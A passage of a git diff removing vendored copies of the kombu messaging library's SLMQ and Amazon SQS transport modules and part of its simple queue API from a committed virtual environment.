None: - self.close() - - def __init__(self, channel, producer, consumer, no_ack=False): - self.channel = maybe_channel(channel) - self.producer = producer - self.consumer = consumer - self.no_ack = no_ack - self.queue = self.consumer.queues[0] - self.buffer = deque() - self.consumer.register_callback(self._receive) - - def get(self, block=True, timeout=None): - if not block: - return self.get_nowait() - - self._consume() - - time_start = monotonic() - remaining = timeout - while True: - if self.buffer: - return self.buffer.popleft() - - if remaining is not None and remaining <= 0.0: - raise self.Empty() - - try: - # The `drain_events` method will - # block on the socket connection to rabbitmq. if any - # application-level messages are received, it will put them - # into `self.buffer`. - # * The method will block for UP TO `timeout` milliseconds. - # * The method may raise a socket.timeout exception; or... - # * The method may return without having put anything on - # `self.buffer`. This is because internal heartbeat - # messages are sent over the same socket; also POSIX makes - # no guarantees against socket calls returning early. - self.channel.connection.client.drain_events(timeout=remaining) - except socket.timeout: - raise self.Empty() - - if remaining is not None: - elapsed = monotonic() - time_start - remaining = timeout - elapsed - - def get_nowait(self): - m = self.queue.get(no_ack=self.no_ack, accept=self.consumer.accept) - if not m: - raise self.Empty() - return m - - def put(self, message, serializer=None, headers=None, compression=None, - routing_key=None, **kwargs): - self.producer.publish(message, - serializer=serializer, - routing_key=routing_key, - headers=headers, - compression=compression, - **kwargs) - - def clear(self): - return self.consumer.purge() - - def qsize(self): - _, size, _ = self.queue.queue_declare(passive=True) - return size - - def close(self): - self.consumer.cancel() - - def _receive(self, message_data, message): - self.buffer.append(message) - - def _consume(self): - if not self._consuming: - self.consumer.consume(no_ack=self.no_ack) - self._consuming = True - - def __len__(self): - """`len(self) -> self.qsize()`.""" - return self.qsize() - - def __bool__(self): - return True - __nonzero__ = __bool__ - - -class SimpleQueue(SimpleBase): - """Simple API for persistent queues.""" - - no_ack = False - queue_opts = {} - queue_args = {} - exchange_opts = {'type': 'direct'} - - def __init__(self, channel, name, no_ack=None, queue_opts=None, - queue_args=None, exchange_opts=None, serializer=None, - compression=None, accept=None): - queue = name - queue_opts = dict(self.queue_opts, **queue_opts or {}) - queue_args = dict(self.queue_args, **queue_args or {}) - exchange_opts = dict(self.exchange_opts, **exchange_opts or {}) - if no_ack is None: - no_ack = self.no_ack - if not isinstance(queue, entity.Queue): - exchange = entity.Exchange(name, **exchange_opts) - queue = entity.Queue(name, exchange, name, - queue_arguments=queue_args, - **queue_opts) - routing_key = name - else: - exchange = queue.exchange - routing_key = queue.routing_key - consumer = messaging.Consumer(channel, queue, accept=accept) - producer = messaging.Producer(channel, exchange, - serializer=serializer, - routing_key=routing_key, - compression=compression) - super().__init__(channel, producer, - consumer, no_ack) - - -class SimpleBuffer(SimpleQueue): - """Simple API for ephemeral queues.""" - - no_ack = True - queue_opts = {'durable': False, - 'auto_delete': True} - exchange_opts = {'durable': False, - 'delivery_mode': 'transient', - 'auto_delete': True} diff --git a/venv/Lib/site-packages/kombu/transport/SLMQ.py b/venv/Lib/site-packages/kombu/transport/SLMQ.py deleted file mode 100644 index 50efca72c89cf077efcc58e78d8cf8f7090c702e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/SLMQ.py +++ /dev/null @@ -1,202 +0,0 @@ -"""SoftLayer Message Queue transport module for kombu. - -Features -======== -* Type: Virtual -* Supports Direct: Yes -* Supports Topic: Yes -* Supports Fanout: No -* Supports Priority: No -* Supports TTL: No - -Connection String -================= - *Unreviewed* - -Transport Options -================= - *Unreviewed* -""" - -from __future__ import annotations - -import os -import socket -import string -from queue import Empty - -from kombu.utils.encoding import bytes_to_str, safe_str -from kombu.utils.json import dumps, loads -from kombu.utils.objects import cached_property - -from . import virtual - -try: - from softlayer_messaging import get_client - from softlayer_messaging.errors import ResponseError -except ImportError: # pragma: no cover - get_client = ResponseError = None - -# dots are replaced by dash, all other punctuation replaced by underscore. -CHARS_REPLACE_TABLE = { - ord(c): 0x5f for c in string.punctuation if c not in '_' -} - - -class Channel(virtual.Channel): - """SLMQ Channel.""" - - default_visibility_timeout = 1800 # 30 minutes. - domain_format = 'kombu%(vhost)s' - _slmq = None - _queue_cache = {} - _noack_queues = set() - - def __init__(self, *args, **kwargs): - if get_client is None: - raise ImportError( - 'SLMQ transport requires the softlayer_messaging library', - ) - super().__init__(*args, **kwargs) - queues = self.slmq.queues() - for queue in queues: - self._queue_cache[queue] = queue - - def basic_consume(self, queue, no_ack, *args, **kwargs): - if no_ack: - self._noack_queues.add(queue) - return super().basic_consume(queue, no_ack, - *args, **kwargs) - - def basic_cancel(self, consumer_tag): - if consumer_tag in self._consumers: - queue = self._tag_to_queue[consumer_tag] - self._noack_queues.discard(queue) - return super().basic_cancel(consumer_tag) - - def entity_name(self, name, table=CHARS_REPLACE_TABLE): - """Format AMQP queue name into a valid SLQS queue name.""" - return str(safe_str(name)).translate(table) - - def _new_queue(self, queue, **kwargs): - """Ensure a queue exists in SLQS.""" - queue = self.entity_name(self.queue_name_prefix + queue) - try: - return self._queue_cache[queue] - except KeyError: - try: - self.slmq.create_queue( - queue, visibility_timeout=self.visibility_timeout) - except ResponseError: - pass - q = self._queue_cache[queue] = self.slmq.queue(queue) - return q - - def _delete(self, queue, *args, **kwargs): - """Delete queue by name.""" - queue_name = self.entity_name(queue) - self._queue_cache.pop(queue_name, None) - self.slmq.queue(queue_name).delete(force=True) - super()._delete(queue_name) - - def _put(self, queue, message, **kwargs): - """Put message onto queue.""" - q = self._new_queue(queue) - q.push(dumps(message)) - - def _get(self, queue): - """Try to retrieve a single message off ``queue``.""" - q = self._new_queue(queue) - rs = q.pop(1) - if rs['items']: - m = rs['items'][0] - payload = loads(bytes_to_str(m['body'])) - if queue in self._noack_queues: - q.message(m['id']).delete() - else: - payload['properties']['delivery_info'].update({ - 'slmq_message_id': m['id'], 'slmq_queue_name': q.name}) - return payload - raise Empty() - - def basic_ack(self, delivery_tag): - delivery_info = self.qos.get(delivery_tag).delivery_info - try: - queue = delivery_info['slmq_queue_name'] - except KeyError: - pass - else: - self.delete_message(queue, delivery_info['slmq_message_id']) - super().basic_ack(delivery_tag) - - def _size(self, queue): - """Return the number of messages in a queue.""" - return self._new_queue(queue).detail()['message_count'] - - def _purge(self, queue): - """Delete all current messages in a queue.""" - q = self._new_queue(queue) - n = 0 - results = q.pop(10) - while results['items']: - for m in results['items']: - self.delete_message(queue, m['id']) - n += 1 - results = q.pop(10) - return n - - def delete_message(self, queue, message_id): - q = self.slmq.queue(self.entity_name(queue)) - return q.message(message_id).delete() - - @property - def slmq(self): - if self._slmq is None: - conninfo = self.conninfo - account = os.environ.get('SLMQ_ACCOUNT', conninfo.virtual_host) - user = os.environ.get('SL_USERNAME', conninfo.userid) - api_key = os.environ.get('SL_API_KEY', conninfo.password) - host = os.environ.get('SLMQ_HOST', conninfo.hostname) - port = os.environ.get('SLMQ_PORT', conninfo.port) - secure = bool(os.environ.get( - 'SLMQ_SECURE', self.transport_options.get('secure')) or True, - ) - endpoint = '{}://{}{}'.format( - 'https' if secure else 'http', host, - f':{port}' if port else '', - ) - - self._slmq = get_client(account, endpoint=endpoint) - self._slmq.authenticate(user, api_key) - return self._slmq - - @property - def conninfo(self): - return self.connection.client - - @property - def transport_options(self): - return self.connection.client.transport_options - - @cached_property - def visibility_timeout(self): - return (self.transport_options.get('visibility_timeout') or - self.default_visibility_timeout) - - @cached_property - def queue_name_prefix(self): - return self.transport_options.get('queue_name_prefix', '') - - -class Transport(virtual.Transport): - """SLMQ Transport.""" - - Channel = Channel - - polling_interval = 1 - default_port = None - connection_errors = ( - virtual.Transport.connection_errors + ( - ResponseError, socket.error - ) - ) diff --git a/venv/Lib/site-packages/kombu/transport/SQS.py b/venv/Lib/site-packages/kombu/transport/SQS.py deleted file mode 100644 index cfe2fe0148bb7baed220997e51b623fce9ad4910..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/SQS.py +++ /dev/null @@ -1,1184 +0,0 @@ -"""Amazon SQS transport module for Kombu. - -This package implements an AMQP-like interface on top of Amazons SQS service, -with the goal of being optimized for high performance and reliability. - -The default settings for this module are focused now on high performance in -task queue situations where tasks are small, idempotent and run very fast. - -SQS Features supported by this transport -======================================== -Long Polling ------------- -https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-long-polling.html - -Long polling is enabled by setting the `wait_time_seconds` transport -option to a number > 1. Amazon supports up to 20 seconds. This is -enabled with 10 seconds by default. - -Batch API Actions ------------------ -https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-batch-api.html - -The default behavior of the SQS Channel.drain_events() method is to -request up to the 'prefetch_count' messages on every request to SQS. -These messages are stored locally in a deque object and passed back -to the Transport until the deque is empty, before triggering a new -API call to Amazon. - -This behavior dramatically speeds up the rate that you can pull tasks -from SQS when you have short-running tasks (or a large number of workers). - -When a Celery worker has multiple queues to monitor, it will pull down -up to 'prefetch_count' messages from queueA and work on them all before -moving on to queueB. If queueB is empty, it will wait up until -'polling_interval' expires before moving back and checking on queueA. - -Message Attributes ------------------ -https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-message-metadata.html - -SQS supports sending message attributes along with the message body. -To use this feature, you can pass a 'message_attributes' as keyword argument -to `basic_publish` method. - -Other Features supported by this transport -========================================== -Predefined Queues ------------------ -The default behavior of this transport is to use a single AWS credential -pair in order to manage all SQS queues (e.g. listing queues, creating -queues, polling queues, deleting messages). - -If it is preferable for your environment to use multiple AWS credentials, you -can use the 'predefined_queues' setting inside the 'transport_options' map. -This setting allows you to specify the SQS queue URL and AWS credentials for -each of your queues. For example, if you have two queues which both already -exist in AWS) you can tell this transport about them as follows: - -.. code-block:: python - - transport_options = { - 'predefined_queues': { - 'queue-1': { - 'url': 'https://sqs.us-east-1.amazonaws.com/xxx/aaa', - 'access_key_id': 'a', - 'secret_access_key': 'b', - 'backoff_policy': {1: 10, 2: 20, 3: 40, 4: 80, 5: 320, 6: 640}, # optional - 'backoff_tasks': ['svc.tasks.tasks.task1'] # optional - }, - 'queue-2.fifo': { - 'url': 'https://sqs.us-east-1.amazonaws.com/xxx/bbb.fifo', - 'access_key_id': 'c', - 'secret_access_key': 'd', - 'backoff_policy': {1: 10, 2: 20, 3: 40, 4: 80, 5: 320, 6: 640}, # optional - 'backoff_tasks': ['svc.tasks.tasks.task2'] # optional - }, - } - 'sts_role_arn': 'arn:aws:iam:::role/STSTest', # optional - 'sts_token_timeout': 900, # optional - 'sts_token_buffer_time': 0, # optional, added in 5.6.0 - } - -Note that FIFO and standard queues must be named accordingly (the name of -a FIFO queue must end with the .fifo suffix). - -backoff_policy & backoff_tasks are optional arguments. These arguments -automatically change the message visibility timeout, in order to have -different times between specific task retries. This would apply after -task failure. - -AWS STS authentication is supported, by using sts_role_arn, and -sts_token_timeout. sts_role_arn is the assumed IAM role ARN we are trying -to access with. sts_token_timeout is the token timeout, defaults (and minimum) -to 900 seconds. After the mentioned period, a new token will be created. - -.. versionadded:: 5.6.0 - sts_token_buffer_time (seconds) is the time by which you want to refresh your token - earlier than its actual expiration time, defaults to 0 (no time buffer will be added), - should be less than sts_token_timeout. - - - -If you authenticate using Okta_ (e.g. calling |gac|_), you can also specify -a 'session_token' to connect to a queue. Note that those tokens have a -limited lifetime and are therefore only suited for short-lived tests. - -.. _Okta: https://www.okta.com/ -.. _gac: https://github.com/Nike-Inc/gimme-aws-creds#readme -.. |gac| replace:: ``gimme-aws-creds`` - - -Client config -------------- -In some cases you may need to override the botocore config. You can do it -as follows: - -.. code-block:: python - - transport_option = { - 'client-config': { - 'connect_timeout': 5, - }, - } - -For a complete list of settings you can adjust using this option see -https://botocore.amazonaws.com/v1/documentation/api/latest/reference/config.html - -Features -======== -* Type: Virtual -* Supports Direct: Yes -* Supports Topic: Yes -* Supports Fanout: Yes -* Supports Priority: No -* Supports TTL: No -""" - - -from __future__ import annotations - -import base64 -import binascii -import re -import socket -import string -import uuid -from datetime import datetime, timedelta, timezone -from json import JSONDecodeError -from queue import Empty -from typing import Any - -from botocore.client import Config -from botocore.exceptions import ClientError -from vine import ensure_promise, promise, transform - -from kombu.asynchronous import get_event_loop -from kombu.asynchronous.aws.ext import boto3, exceptions -from kombu.asynchronous.aws.sqs.connection import AsyncSQSConnection -from kombu.asynchronous.aws.sqs.message import AsyncMessage -from kombu.log import get_logger -from kombu.utils import scheduling -from kombu.utils.encoding import bytes_to_str, safe_str -from kombu.utils.json import dumps, loads -from kombu.utils.objects import cached_property - -from . import virtual - -logger = get_logger(__name__) - -# dots are replaced by dash, dash remains dash, all other punctuation -# replaced by underscore. -CHARS_REPLACE_TABLE = { - ord(c): 0x5f for c in string.punctuation if c not in '-_.' -} -CHARS_REPLACE_TABLE[0x2e] = 0x2d # '.' -> '-' - -#: SQS bulk get supports a maximum of 10 messages at a time. -SQS_MAX_MESSAGES = 10 - - -def maybe_int(x): - """Try to convert x' to int, or return x' if that fails.""" - try: - return int(x) - except ValueError: - return x - - -class UndefinedQueueException(Exception): - """Predefined queues are being used and an undefined queue was used.""" - - -class InvalidQueueException(Exception): - """Predefined queues are being used and configuration is not valid.""" - - -class AccessDeniedQueueException(Exception): - """Raised when access to the AWS queue is denied. - - This may occur if the permissions are not correctly set or the - credentials are invalid. - """ - - -class DoesNotExistQueueException(Exception): - """The specified queue doesn't exist.""" - - -class QoS(virtual.QoS): - """Quality of Service guarantees implementation for SQS.""" - - def reject(self, delivery_tag, requeue=False): - super().reject(delivery_tag, requeue=requeue) - routing_key, message, backoff_tasks, backoff_policy = \ - self._extract_backoff_policy_configuration_and_message( - delivery_tag) - if routing_key and message and backoff_tasks and backoff_policy: - self.apply_backoff_policy( - routing_key, delivery_tag, backoff_policy, backoff_tasks) - - def _extract_backoff_policy_configuration_and_message(self, delivery_tag): - try: - message = self._delivered[delivery_tag] - routing_key = message.delivery_info['routing_key'] - except KeyError: - return None, None, None, None - if not routing_key or not message: - return None, None, None, None - queue_config = self.channel.predefined_queues.get(routing_key, {}) - backoff_tasks = queue_config.get('backoff_tasks') - backoff_policy = queue_config.get('backoff_policy') - return routing_key, message, backoff_tasks, backoff_policy - - def apply_backoff_policy(self, routing_key, delivery_tag, - backoff_policy, backoff_tasks): - queue_url = self.channel._queue_cache[routing_key] - task_name, number_of_retries = \ - self.extract_task_name_and_number_of_retries(delivery_tag) - if not task_name or not number_of_retries: - return None - policy_value = backoff_policy.get(number_of_retries) - if task_name in backoff_tasks and policy_value is not None: - c = self.channel.sqs(routing_key) - c.change_message_visibility( - QueueUrl=queue_url, - ReceiptHandle=delivery_tag, - VisibilityTimeout=policy_value - ) - - def extract_task_name_and_number_of_retries(self, delivery_tag): - message = self._delivered[delivery_tag] - message_headers = message.headers - task_name = message_headers['task'] - number_of_retries = int( - message.properties['delivery_info']['sqs_message'] - ['Attributes']['ApproximateReceiveCount']) - return task_name, number_of_retries - - -class Channel(virtual.Channel): - """SQS Channel.""" - - default_region = 'us-east-1' - default_visibility_timeout = 1800 # 30 minutes. - default_wait_time_seconds = 10 # up to 20 seconds max - domain_format = 'kombu%(vhost)s' - _asynsqs = None - _predefined_queue_async_clients = {} # A client for each predefined queue - _sqs = None - _predefined_queue_clients = {} # A client for each predefined queue - _queue_cache = {} # SQS queue name => SQS queue URL - _noack_queues = set() - QoS = QoS - # https://stackoverflow.com/questions/475074/regex-to-parse-or-validate-base64-data - B64_REGEX = re.compile(rb'^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$') - - def __init__(self, *args, **kwargs): - if boto3 is None: - raise ImportError('boto3 is not installed') - super().__init__(*args, **kwargs) - self._validate_predifined_queues() - - # SQS blows up if you try to create a new queue when one already - # exists but with a different visibility_timeout. This prepopulates - # the queue_cache to protect us from recreating - # queues that are known to already exist. - self._update_queue_cache(self.queue_name_prefix) - - self.hub = kwargs.get('hub') or get_event_loop() - - def _validate_predifined_queues(self): - """Check that standard and FIFO queues are named properly. - - AWS requires FIFO queues to have a name - that ends with the .fifo suffix. - """ - for queue_name, q in self.predefined_queues.items(): - fifo_url = q['url'].endswith('.fifo') - fifo_name = queue_name.endswith('.fifo') - if fifo_url and not fifo_name: - raise InvalidQueueException( - "Queue with url '{}' must have a name " - "ending with .fifo".format(q['url']) - ) - elif not fifo_url and fifo_name: - raise InvalidQueueException( - "Queue with name '{}' is not a FIFO queue: " - "'{}'".format(queue_name, q['url']) - ) - - def _update_queue_cache(self, queue_name_prefix): - if self.predefined_queues: - for queue_name, q in self.predefined_queues.items(): - self._queue_cache[queue_name] = q['url'] - return - - resp = self.sqs().list_queues(QueueNamePrefix=queue_name_prefix) - for url in resp.get('QueueUrls', []): - queue_name = url.split('/')[-1] - self._queue_cache[queue_name] = url - - def basic_consume(self, queue, no_ack, *args, **kwargs): - if no_ack: - self._noack_queues.add(queue) - if self.hub: - self._loop1(queue) - return super().basic_consume( - queue, no_ack, *args, **kwargs - ) - - def basic_cancel(self, consumer_tag): - if consumer_tag in self._consumers: - queue = self._tag_to_queue[consumer_tag] - self._noack_queues.discard(queue) - return super().basic_cancel(consumer_tag) - - def drain_events(self, timeout=None, callback=None, **kwargs): - """Return a single payload message from one of our queues. - - Raises - ------ - Queue.Empty: if no messages available. - """ - # If we're not allowed to consume or have no consumers, raise Empty - if not self._consumers or not self.qos.can_consume(): - raise Empty() - - # At this point, go and get more messages from SQS - self._poll(self.cycle, callback, timeout=timeout) - - def _reset_cycle(self): - """Reset the consume cycle. - - Returns - ------- - FairCycle: object that points to our _get_bulk() method - rather than the standard _get() method. This allows for - multiple messages to be returned at once from SQS ( - based on the prefetch limit). - """ - self._cycle = scheduling.FairCycle( - self._get_bulk, self._active_queues, Empty, - ) - - def entity_name(self, name, table=CHARS_REPLACE_TABLE): - """Format AMQP queue name into a legal SQS queue name.""" - if name.endswith('.fifo'): - partial = name[:-len('.fifo')] - partial = str(safe_str(partial)).translate(table) - return partial + '.fifo' - else: - return str(safe_str(name)).translate(table) - - def canonical_queue_name(self, queue_name): - return self.entity_name(self.queue_name_prefix + queue_name) - - def _resolve_queue_url(self, queue): - """Try to retrieve the SQS queue URL for a given queue name.""" - # Translate to SQS name for consistency with initial - # _queue_cache population. - sqs_qname = self.canonical_queue_name(queue) - - # The SQS ListQueues method only returns 1000 queues. When you have - # so many queues, it's possible that the queue you are looking for is - # not cached. In this case, we could update the cache with the exact - # queue name first. - if sqs_qname not in self._queue_cache: - self._update_queue_cache(sqs_qname) - try: - return self._queue_cache[sqs_qname] - except KeyError: - if self.predefined_queues: - raise UndefinedQueueException(( - "Queue with name '{}' must be " - "defined in 'predefined_queues'." - ).format(sqs_qname)) - - raise DoesNotExistQueueException( - f"Queue with name '{sqs_qname}' doesn't exist in SQS" - ) - - def _new_queue(self, queue, **kwargs): - """Ensure a queue with given name exists in SQS. - - Arguments: - --------- - queue (str): the AMQP queue name - Returns - str: the SQS queue URL - """ - try: - return self._resolve_queue_url(queue) - except DoesNotExistQueueException: - sqs_qname = self.canonical_queue_name(queue) - attributes = {'VisibilityTimeout': str(self.visibility_timeout)} - if sqs_qname.endswith('.fifo'): - attributes['FifoQueue'] = 'true' - - resp = self._create_queue(sqs_qname, attributes) - self._queue_cache[sqs_qname] = resp['QueueUrl'] - return resp['QueueUrl'] - - def _create_queue(self, queue_name, attributes): - """Create an SQS queue with a given name and nominal attributes.""" - # Allow specifying additional boto create_queue Attributes - # via transport options - if self.predefined_queues: - return None - - attributes.update( - self.transport_options.get('sqs-creation-attributes') or {}, - ) - - queue_tags = self.transport_options.get('queue_tags') - - create_params = { - 'QueueName': queue_name, - 'Attributes': attributes, - } - - if queue_tags: - create_params['tags'] = queue_tags - - return self.sqs(queue=queue_name).create_queue(**create_params) - - def _delete(self, queue, *args, **kwargs): - """Delete queue by name.""" - if self.predefined_queues: - return - - q_url = self._resolve_queue_url(queue) - self.sqs().delete_queue( - QueueUrl=q_url, - ) - self._queue_cache.pop(queue, None) - - def _put(self, queue, message, **kwargs): - """Put message onto queue.""" - q_url = self._new_queue(queue) - kwargs = {'QueueUrl': q_url} - if 'properties' in message: - if 'message_attributes' in message['properties']: - # we don't want to want to have the attribute in the body - kwargs['MessageAttributes'] = \ - message['properties'].pop('message_attributes') - if queue.endswith('.fifo'): - if 'MessageGroupId' in message['properties']: - kwargs['MessageGroupId'] = \ - message['properties']['MessageGroupId'] - else: - kwargs['MessageGroupId'] = 'default' - if 'MessageDeduplicationId' in message['properties']: - kwargs['MessageDeduplicationId'] = \ - message['properties']['MessageDeduplicationId'] - else: - kwargs['MessageDeduplicationId'] = str(uuid.uuid4()) - else: - if "DelaySeconds" in message['properties']: - kwargs['DelaySeconds'] = \ - message['properties']['DelaySeconds'] - - if self.sqs_base64_encoding: - body = AsyncMessage().encode(dumps(message)) - else: - body = dumps(message) - kwargs['MessageBody'] = body - - c = self.sqs(queue=self.canonical_queue_name(queue)) - if message.get('redelivered'): - c.change_message_visibility( - QueueUrl=q_url, - ReceiptHandle=message['properties']['delivery_tag'], - VisibilityTimeout=self.wait_time_seconds - ) - else: - c.send_message(**kwargs) - - def _message_to_python(self, message, queue_name, q_url): - raw_msg_body = message['Body'] - decoded_bytes = self._decode_python_message_body(raw_msg_body) - text = bytes_to_str(decoded_bytes) - - payload = self._prepare_json_payload(text) - - # handle no-ack queues immediately - if queue_name in self._noack_queues: - self._delete_message(queue_name, message) - return payload - - return self._envelope_payload(payload, text, message, q_url) - - def _messages_to_python(self, messages, queue): - """Convert a list of SQS Message objects into Payloads. - - This method handles converting SQS Message objects into - Payloads, and appropriately updating the queue depending on - the 'ack' settings for that queue. - - Arguments: - --------- - messages (SQSMessage): A list of SQS Message objects. - queue (str): Name representing the queue they came from. - - Returns - ------- - List: A list of Payload objects - """ - q_url = self._new_queue(queue) - return [self._message_to_python(m, queue, q_url) for m in messages] - - def _receive_message( - self, - queue: str, - max_number_of_messages: int = 1, - wait_time_seconds: int | None = None - ): - """Unified receive_message wrapper for SQS (boto3.client.SQS) with full attribute support. - - :param queue: The queue as a string - :param max_number_of_messages: Int of max number of messages to receive. - :param wait_time_seconds: Int of sqs wait time in seconds. - :return: SQS client recieve_message - """ - q_url: str = self._new_queue(queue) - client = self.sqs(queue=queue) - - message_system_attribute_names = self.get_message_attributes.get( - 'MessageSystemAttributeNames') or [] - - message_attribute_names = self.get_message_attributes.get( - 'MessageAttributeNames') or [] - - params: dict[str, Any] = { - 'QueueUrl': q_url, - 'MaxNumberOfMessages': max_number_of_messages, - 'WaitTimeSeconds': wait_time_seconds or self.wait_time_seconds, - 'MessageAttributeNames': message_attribute_names, - 'MessageSystemAttributeNames': message_system_attribute_names - } - - return client.receive_message(**params) - - def _get_bulk(self, queue, - max_if_unlimited=SQS_MAX_MESSAGES, callback=None): - """Try to retrieve multiple messages off ``queue``. - - Where :meth:`_get` returns a single Payload object, this method - returns a list of Payload objects. The number of objects returned - is determined by the total number of messages available in the queue - and the number of messages the QoS object allows (based on the - prefetch_count). - - Note: - ---- - Ignores QoS limits so caller is responsible for checking - that we are allowed to consume at least one message from the - queue. get_bulk will then ask QoS for an estimate of - the number of extra messages that we can consume. - - Arguments: - --------- - queue (str): The queue name to pull from. - - Returns - ------- - List[Message] - """ - # drain_events calls `can_consume` first, consuming - # a token, so we know that we are allowed to consume at least - # one message. - - # Note: ignoring max_messages for SQS with boto3 - max_count = self._get_message_estimate() - if max_count: - resp = self._receive_message( - queue=queue, - wait_time_seconds=self.wait_time_seconds, - max_number_of_messages=max_count - ) - - if resp.get('Messages'): - for m in resp['Messages']: - m['Body'] = AsyncMessage(body=m['Body']).decode() - for msg in self._messages_to_python(resp['Messages'], queue): - self.connection._deliver(msg, queue) - return - raise Empty() - - def _get(self, queue): - """Try to retrieve a single message off ``queue``.""" - resp = self._receive_message( - queue=queue, - wait_time_seconds=self.wait_time_seconds, - max_number_of_messages=1 - ) - - if resp.get('Messages'): - body = AsyncMessage(body=resp['Messages'][0]['Body']).decode() - resp['Messages'][0]['Body'] = body - return self._messages_to_python(resp['Messages'], queue)[0] - raise Empty() - - def _loop1(self, queue, _=None): - self.hub.call_soon(self._schedule_queue, queue) - - def _schedule_queue(self, queue): - if queue in self._active_queues: - if self.qos.can_consume(): - self._get_bulk_async( - queue, callback=promise(self._loop1, (queue,)), - ) - else: - self._loop1(queue) - - def _get_message_estimate(self, max_if_unlimited=SQS_MAX_MESSAGES): - maxcount = self.qos.can_consume_max_estimate() - return min( - max_if_unlimited if maxcount is None else max(maxcount, 1), - max_if_unlimited, - ) - - def _get_bulk_async(self, queue, callback=None): - maxcount = self._get_message_estimate() - if maxcount: - return self._get_async(queue, maxcount, callback=callback) - # Not allowed to consume, make sure to notify callback.. - callback = ensure_promise(callback) - callback([]) - return callback - - def _get_async(self, queue, count=1, callback=None): - q_url = self._new_queue(queue) - qname = self.canonical_queue_name(queue) - return self._get_from_sqs( - queue_name=qname, queue_url=q_url, count=count, - connection=self.asynsqs(queue=qname), - callback=transform( - self._on_messages_ready, callback, q_url, queue - ), - ) - - def _on_messages_ready(self, queue, qname, messages): - if 'Messages' in messages and messages['Messages']: - callbacks = self.connection._callbacks - for msg in messages['Messages']: - msg_parsed = self._message_to_python(msg, qname, queue) - callbacks[qname](msg_parsed) - - def _get_from_sqs(self, queue_name, queue_url, - connection, count=1, callback=None): - """Retrieve and handle messages from SQS. - - Uses long polling and returns :class:`~vine.promises.promise`. - """ - return connection.receive_message( - queue_name, queue_url, number_messages=count, - wait_time_seconds=self.wait_time_seconds, - callback=callback, - ) - - def _restore(self, message, - unwanted_delivery_info=('sqs_message', 'sqs_queue')): - for unwanted_key in unwanted_delivery_info: - # Remove objects that aren't JSON serializable (Issue #1108). - message.delivery_info.pop(unwanted_key, None) - return super()._restore(message) - - def basic_ack(self, delivery_tag, multiple=False): - try: - message = self.qos.get(delivery_tag).delivery_info - sqs_message = message['sqs_message'] - except KeyError: - super().basic_ack(delivery_tag) - else: - queue = None - if 'routing_key' in message: - queue = self.canonical_queue_name(message['routing_key']) - - try: - self.sqs(queue=queue).delete_message( - QueueUrl=message['sqs_queue'], - ReceiptHandle=sqs_message['ReceiptHandle'] - ) - except ClientError as exception: - if exception.response['Error']['Code'] == 'AccessDenied': - raise AccessDeniedQueueException( - exception.response["Error"]["Message"] - ) - super().basic_reject(delivery_tag) - else: - super().basic_ack(delivery_tag) - - def _size(self, queue): - """Return the number of messages in a queue.""" - q_url = self._new_queue(queue) - c = self.sqs(queue=self.canonical_queue_name(queue)) - resp = c.get_queue_attributes( - QueueUrl=q_url, - AttributeNames=['ApproximateNumberOfMessages']) - return int(resp['Attributes']['ApproximateNumberOfMessages']) - - def _purge(self, queue): - """Delete all current messages in a queue.""" - q_url = self._new_queue(queue) - # SQS is slow at registering messages, so run for a few - # iterations to ensure messages are detected and deleted. - size = 0 - for i in range(10): - size += int(self._size(queue)) - if not size: - break - self.sqs(queue=queue).purge_queue(QueueUrl=q_url) - return size - - def close(self): - super().close() - # if self._asynsqs: - # try: - # self.asynsqs().close() - # except AttributeError as exc: # FIXME ??? - # if "can't set attribute" not in str(exc): - # raise - - def new_sqs_client(self, region, access_key_id, - secret_access_key, session_token=None): - session = boto3.session.Session( - region_name=region, - aws_access_key_id=access_key_id, - aws_secret_access_key=secret_access_key, - aws_session_token=session_token, - ) - is_secure = self.is_secure if self.is_secure is not None else True - client_kwargs = { - 'use_ssl': is_secure - } - if self.endpoint_url is not None: - client_kwargs['endpoint_url'] = self.endpoint_url - client_config = self.transport_options.get('client-config') or {} - config = Config(**client_config) - return session.client('sqs', config=config, **client_kwargs) - - def sqs(self, queue=None): - if queue is not None and self.predefined_queues: - - if queue not in self.predefined_queues: - raise UndefinedQueueException( - f"Queue with name '{queue}' must be defined" - " in 'predefined_queues'.") - q = self.predefined_queues[queue] - if self.transport_options.get('sts_role_arn'): - return self._handle_sts_session(queue, q) - if not self.transport_options.get('sts_role_arn'): - if queue in self._predefined_queue_clients: - return self._predefined_queue_clients[queue] - else: - c = self._predefined_queue_clients[queue] = \ - self.new_sqs_client( - region=q.get('region', self.region), - access_key_id=q.get( - 'access_key_id', self.conninfo.userid), - secret_access_key=q.get( - 'secret_access_key', self.conninfo.password) - ) - return c - - if self._sqs is not None: - return self._sqs - - c = self._sqs = self.new_sqs_client( - region=self.region, - access_key_id=self.conninfo.userid, - secret_access_key=self.conninfo.password, - ) - return c - - def _handle_sts_session(self, queue, q): - region = q.get('region', self.region) - if not hasattr(self, 'sts_expiration'): # STS token - token init - return self._new_predefined_queue_client_with_sts_session(queue, region) - # STS token - refresh if expired - elif self.sts_expiration.replace(tzinfo=None) < datetime.now(timezone.utc).replace(tzinfo=None): - return self._new_predefined_queue_client_with_sts_session(queue, region) - else: # STS token - ruse existing - if queue not in self._predefined_queue_clients: - return self._new_predefined_queue_client_with_sts_session(queue, region) - return self._predefined_queue_clients[queue] - - def generate_sts_session_token_with_buffer(self, role_arn, token_expiry_seconds, token_buffer_seconds=0): - """Generate STS session credentials with an optional expiration buffer. - - The buffer is only applied if it is less than `token_expiry_seconds` to prevent an expired token. - """ - credentials = self.generate_sts_session_token(role_arn, token_expiry_seconds) - if token_buffer_seconds and 0 < token_buffer_seconds < token_expiry_seconds: - credentials["Expiration"] -= timedelta(seconds=token_buffer_seconds) - return credentials - - def _new_predefined_queue_client_with_sts_session(self, queue, region): - sts_creds = self.generate_sts_session_token_with_buffer( - self.transport_options.get('sts_role_arn'), - self.transport_options.get('sts_token_timeout', 900), - self.transport_options.get('sts_token_buffer_time', 0), - ) - self.sts_expiration = sts_creds['Expiration'] - c = self._predefined_queue_clients[queue] = self.new_sqs_client( - region=region, - access_key_id=sts_creds['AccessKeyId'], - secret_access_key=sts_creds['SecretAccessKey'], 